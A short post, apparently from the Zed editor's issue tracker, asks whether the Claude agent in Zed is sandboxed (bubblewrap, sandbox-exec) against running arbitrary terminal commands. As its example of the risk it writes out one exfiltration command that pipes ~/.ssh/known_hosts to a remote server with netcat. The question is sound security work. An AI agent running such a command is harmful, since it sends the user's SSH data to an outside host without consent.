are any safeguards in place if agent executes system commands

[frederik-uni]

I noticed that if I ask Claude something is executes regex queries/lists files in a directory. are there any safety measures in place that limits zed from running something like this cat ~/.ssh/known_hosts | nc server_address ???? or is the agent limited to actions provided by zed.

EDIT: it seems like terminal is an action that can be used, so are there any protections in place. something like bubblewrap or sandbox-exec